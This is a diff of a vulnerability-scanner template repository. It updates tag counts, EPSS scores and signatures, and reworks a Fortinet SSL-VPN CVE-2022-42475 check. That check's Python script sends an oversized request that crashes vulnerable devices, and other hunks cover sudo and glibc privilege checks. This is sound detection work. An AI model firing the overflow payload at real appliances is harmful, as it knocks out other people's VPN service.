","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":70},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"c2","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"detection","count":60},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"dast","count":51},{"name":"misc","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"ssti","count":49},{"name":"osint-gaming","count":49},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"miscellaneous","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"api","count":41},{"name":"sap","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"cti","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"lfr","count":34},{"name":"xxe","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"ftp","count":32},{"name":"graphql","count":32},{"name":"yonyou","count":32},{"name":"osint-tech","count":31},{"name":"printer","count":31},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"compliance","count":31},{"name":"tomcat","count":30},{"name":"ec2","count":30},{"name":"alibaLine truncated
+6956 -6768
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
| cve | 3330 | dhiyaneshdk | 1871 | http | 9035 | info | 4236 | file | 436 |
| panel | 1349 | daffainfo | 868 | cloud | 657 | high | 2486 | dns | 26 |
| xss | 1249 | princechaddha | 854 | file | 436 | medium | 2387 | | |
| wordpress | 1189 | dwisiswant0 | 806 | code | 249 | critical | 1444 | | |
| exposure | 1114 | ritikchaddha | 658 | dast | 238 | low | 322 | | |
| wp-plugin | 1038 | pussycat0x | 546 | workflows | 203 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 151 | | | | |
| tech | 811 | pdteam | 310 | javascript | 78 | | | | |
| rce | 796 | pdresearch | 271 | ssl | 38 | | | | |
| lfi | 779 | iamnoooob | 259 | dns | 23 | | | | |
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- '.[].projectId'
- ".[].projectId"
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: emails
internal: true
json:
- '.[].email'
- ".[].email"
- engine:
- sh
@@ -63,10 +63,12 @@ code:
matchers:
- type: word
words:
- 'KEY_ID'
- "USER_MANAGED"
- "KEY_ID"
condition: or
extractors:
- type: dsl
dsl:
- '"User-Managed Keys Found in Service Account " + email + " in project " + projectId'
# digest: 4a0a0047304502206d029c26c00ff70caf71ace521c4a91a88b47c2a3befd052c8f6b8aafc3df559022100b847c83b437bece07c45ae96c3b0636f4b64365aa023ecc548b446f9e3e6d5af:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402200b5e24605932c74af12b6c325e37ca631802cc31f53ffbd0bc812862c1f2a6bf02205f1402f6334cba1c99ea9385c89646f8a707b752850f350c30263061779818c3:922c64590222798bb761d5b6d8e72950
@@ -39,7 +39,7 @@ code:
name: projectIds
internal: true
json:
- '.[].projectId'
- ".[].projectId"
- engine:
- sh
@@ -52,7 +52,7 @@ code:
name: buckets
internal: true
json:
- '.[].name'
- ".[].name"
- engine:
- sh
@@ -62,11 +62,13 @@ code:
matchers:
- type: word
negative: true
words:
- 'inherited'
- "inherited"
- "enforced"
extractors:
- type: dsl
dsl:
- '"Public Access Prevention is not enabled for the bucket " + bucketName + " in project " + projectId'
# digest: 4a0a00473045022100c1b3ec23ade491f0feed95fabd9d6ddc0497ca798fc90e87e937354910e9fc79022061180eaadc90af9f7270297bfafaad491d57c30b6f5af1eee12f047e5e3c2885:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
+4 -3
View File
@@ -35,7 +35,7 @@ code:
name: projectIds
internal: true
json:
- '.[].projectId'
- ".[].projectId"
- engine:
- sh
@@ -45,11 +45,12 @@ code:
matchers:
- type: word
part: body
words:
- 'default'
- '"name": "default"'
extractors:
- type: dsl
dsl:
- '"The default VPC network is in use in project " + projectId'
# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
+4 -1
View File
@@ -10,6 +10,9 @@ info:
- https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
metadata:
verified: true
classification:
epss-score: 0.94436
epss-percentile: 0.99986
tags: cve,cve2014,openssl,heartbleed,code,kev
variables:
@@ -135,4 +138,4 @@ code:
- type: dsl
dsl:
- "contains(response,'server is vulnerable')"
# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.94421
epss-percentile: 0.99980
epss-score: 0.94419
epss-percentile: 0.99979
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -104,4 +104,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.94411
epss-percentile: 0.99974
epss-percentile: 0.99975
metadata:
verified: true
vendor: microsoft
@@ -154,4 +154,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.84563
epss-percentile: 0.99279
epss-percentile: 0.99285
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -47,4 +47,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008b128c1abf629211a165bfc17554e353451890fa9423a6396bbd0c81d901a0e802206f940480606cc839ca34dae4eef453f69a29baf7a4fa0abc330e28c1d5d7fb5d:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -15,8 +15,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.92775
epss-percentile: 0.99755
epss-score: 0.93121
epss-percentile: 0.99783
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -102,4 +102,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -10,8 +10,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.91885
epss-percentile: 0.99681
epss-score: 0.92195
epss-percentile: 0.99704
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.92019
epss-percentile: 0.99693
epss-score: 0.92492
epss-percentile: 0.99728
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -40,4 +40,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c2337014e212f34ff17d8a61c0d4f27cfc76d207a561f30e41141ce4e4c6cc490221008ced3bec2f0082bd7ef25a52ad0e6efb3017bd62fc3e22469f070f5091bc00bb:922c64590222798bb761d5b6d8e72950
+138 -118
View File
@@ -1,8 +1,8 @@
id: CVE-2024-42475
id: CVE-2022-42475
info:
name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
author: 0xhaggis,pszyszkowski
author: 0xhaggis,pszyszkowski,pussycat0x
severity: critical
description: |
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
@@ -17,6 +17,8 @@ info:
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
classification:
epss-score: 0.94003
epss-percentile: 0.99884
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-42475
@@ -31,146 +33,164 @@ info:
- http.html:"/remote/login" "xxxxxxxx"
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}/remote/login"
- "{{BaseURL}}/login"
stop-at-first-match: true
host-redirects: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
return self.socket
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
except Exception as e:
print("Unknown error!")
print(e)
return None
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
self.socket.sendall(get_req)
return self.socket
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
return None
self.socket.close()
return True
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
print("[>] Target waited for more data.")
return False
except Exception as e:
print("Unknown error!")
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
self.socket.sendall(get_req)
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
self.socket.close()
return True
except socket.timeout as e:
print("[>] Target waited for more data.")
return False
except Exception as e:
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
else:
print("[+] Target is NOT vulnerable")
exit(1)
else:
print("[+] Target is NOT vulnerable")
exit(1)
matchers:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950
# digest: 480a00453043022029dd9e06fa2d975b1faaf83d7006d7020dc94c01b8d7afa8da1ce7e726e8eb69021f33f0b758cd4c9982305f18c1e19087b601e1119d8e0c7647aa8567d6dacf9b:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.91874
epss-percentile: 0.99680
epss-score: 0.92037
epss-percentile: 0.99695
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.91200
epss-percentile: 0.99636
epss-score: 0.91813
epss-percentile: 0.99679
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
@@ -626,4 +626,4 @@ http:
- type: status
status:
- 302
# digest: 4a0a004730450221009fa711a5846a3c93bac4bc69d04eac250dfdf6df030b766ed7e272e1c41e6afd0220383dd08bfdfe5d8ab5f2dc3f9f0c2881b2ab73ec4502c81f92cdf28db1651b82:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c7b97b5b190f4a227f3ba95fb469d1a90fecdc553b3bc749f46048cab15369a4022029d5f8c561ddab25265e0ac4603a7d4f07207be07f6b597dffcd75e91c9e4b8a:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2023-49105
cwe-id: CWE-287
epss-score: 0.86872
epss-percentile: 0.99395
epss-score: 0.86244
epss-percentile: 0.99362
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
metadata:
max-request: 2
@@ -90,4 +90,4 @@ http:
- type: dsl
dsl:
- '"Username => "+ username'
# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220641b420af9b358673e28c035e7884d4516e0b3aa512636c14dc08ee8391d4d5202206e3077d0f19a62b0fcc897ee2ee0f2f0fca6ca27519014beef0245c686ccf6c9:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.66736
epss-percentile: 0.98452
epss-score: 0.71996
epss-percentile: 0.98697
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "139" # Segmentation Fault Exit Code
# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022007da0205bc9ac44591e94231bbca45053e3e02f90fb4f2fcca268fc5ad2061be022100c109bc8438198ca21a2f18f806fe68fd3e080118a955ed964fbe789ba79e0bb8:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-6246
cwe-id: CWE-787,CWE-122
epss-score: 0.22699
epss-percentile: 0.95613
epss-score: 0.25078
epss-percentile: 0.9597
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -39,4 +39,4 @@ code:
- type: word
words:
- "127" # Segmentation Fault Exit Code
# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100a07936dee1b4149d39c625a10e68c5b5976c2e994063e551873817f39b336ecb022100827de92d7fed46de641630cd27a5dfec44f2209b5acdc0d50f9334a0c7964610:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -13,8 +13,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2024-10443
cwe-id: CWE-77
epss-score: 0.69629
epss-percentile: 0.98573
epss-score: 0.69894
epss-percentile: 0.98618
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
metadata:
verified: true
@@ -54,4 +54,4 @@ code:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "dns"
# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
